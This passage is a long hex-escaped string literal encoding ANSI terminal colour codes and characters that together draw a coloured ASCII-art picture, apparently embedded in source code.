"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d"
"\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x35\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34"
"\x37\x6d\x3a\x20\x2e\x20\x2e\x20\x20\x2e\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33"
"\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d"
"\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x30\x3b"
"\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30"
"\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x25\x20\x20\x20\x2e\x2e\x20\x74\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x3b\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b"
"\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x3b\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x37\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x74\x3b\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x53\x40\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d"
"\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38"
"\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x38\x58\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x33\x3b\x34\x30\x6d\x20\x40\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x33"
"\x3b\x34\x30\x6d\x25\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58"
"\x2e\x3b\x3a\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x35\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b"
"\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30"
"\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30"
"\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30"
"\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x3b\x38\x74\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x53\x2e\x38\x3b\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x53\x20\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x35\x3b\x33\x37"
"\x3b\x34\x30\x6d\x38\x53\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b"
"\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33"
"\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d"
"\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x74\x20\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x38\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x2e\x20\x53\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b"
"\x34\x37\x6d\x3a\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x53\x38"
"\x25\x53\x74\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x20\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x2e\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34"
"\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b"
"\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x35\x3b\x33\x31"
"\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30"
"\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x32\x6d\x38\x1b\x5b\x30\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x40\x1b\x5b"
"\x30\x3b\x35\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x25\x1b\x5b\x30\x3b\x31\x3b\x33\x30"
"\x3b\x34\x37\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x40\x58\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d"
"\x3a\x20\x2e\x25\x3b\x2e\x2e\x25\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34"
"\x31\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35"
"\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34"
"\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b"
"\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x38\x1b\x5b"
"\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31"
"\x3b\x33\x30\x3b\x34\x31\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40"
"\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x2e\x1b\x5b\x30\x3b\x31\x3b"
"\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d"
"\x38\x3a\x2e\x2e\x20\x20\x2e\x2e\x74\x2e\x20\x2e\x3b\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31"
"\x3b\x34\x30\x6d\x53\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30"
"\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30"
"\x6d\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d"
"\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33"
"\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x6d\x0d\x0a\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b"
"\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d"
"\x38\x38\x38\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33"
"\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x33\x32\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x38\x38\x1b"
"\x5b\x30\x3b\x35\x3b\x33\x30\x3b\x34\x30\x6d\x40\x1b\x5b\x30\x3b\x33\x31\x3b\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b"
"\x34\x30\x6d\x38\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x30\x6d\x58\x40\x1b\x5b\x30\x3b\x35\x3b\x33\x33\x3b\x34\x30\x6d\x58\x1b"
"\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x37\x6d\x74\x1b\x5b\x30\x3b\x35\x3b\x33\x37\x3b\x34\x37\x6d\x38\x25\x20\x20\x20\x2e\x20\x20"
"\x20\x20\x1b\x5b\x30\x3b\x31\x3b\x33\x37\x3b\x34\x37\x6d\x58\x1b\x5b\x30\x3b\x31\x3b\x33\x30\x3b\x34\x30\x6d\x40\x38\x1b\x5b\x30"
